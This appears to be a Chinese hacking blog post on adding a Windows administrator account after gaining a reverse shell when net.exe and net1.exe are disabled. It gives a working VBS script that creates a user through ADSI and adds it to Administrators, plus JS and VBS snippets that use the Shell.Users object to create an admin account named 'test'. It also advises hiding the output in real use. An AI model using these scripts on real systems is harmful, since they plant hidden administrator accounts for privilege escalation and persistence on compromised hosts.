无net.exe 加用户vbs

 

 

真正的无net加系统用户能用的脚本。。当我们遇到提权的时候，nc反弹提权的时候，管理员把net1和net给禁用了，，我们可以上传一个脚本，，做到真正的无net加系统用户。。脚本代码如下：

注意：实际应用时取消显示信息。

 

 

保存以上代码为 user.vbs   用法：cscript user.vbs 用户 密码

 

 

 

struser=wscript.arguments(0) strpass=wscript.arguments(1) set lp=createObject("WSCRIPT.NETWORK") oz="WinNT://"&lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od.SetPassword strpass od.SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe.Add(of.ADsPath) For Each admin in oe.Members if struser=admin.Name then Wscript.echo struser & " 建立成功!" wscript.quit end if Next Wscript.echo struser & " 用户建立失败!"  

 

还有一个：

 

今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：

 

//js: var o=new ActiveXObject( “Shell.Users” ); z=o.create(”test”) ; z.changePassword(”123456″,”") z.setting(”AccountType”)=3; //vbs: Set o=CreateObject( “Shell.Users” ) Set z=o.create(”test”) z.changePassword “123456″,”” z.setting(”AccountType”)=3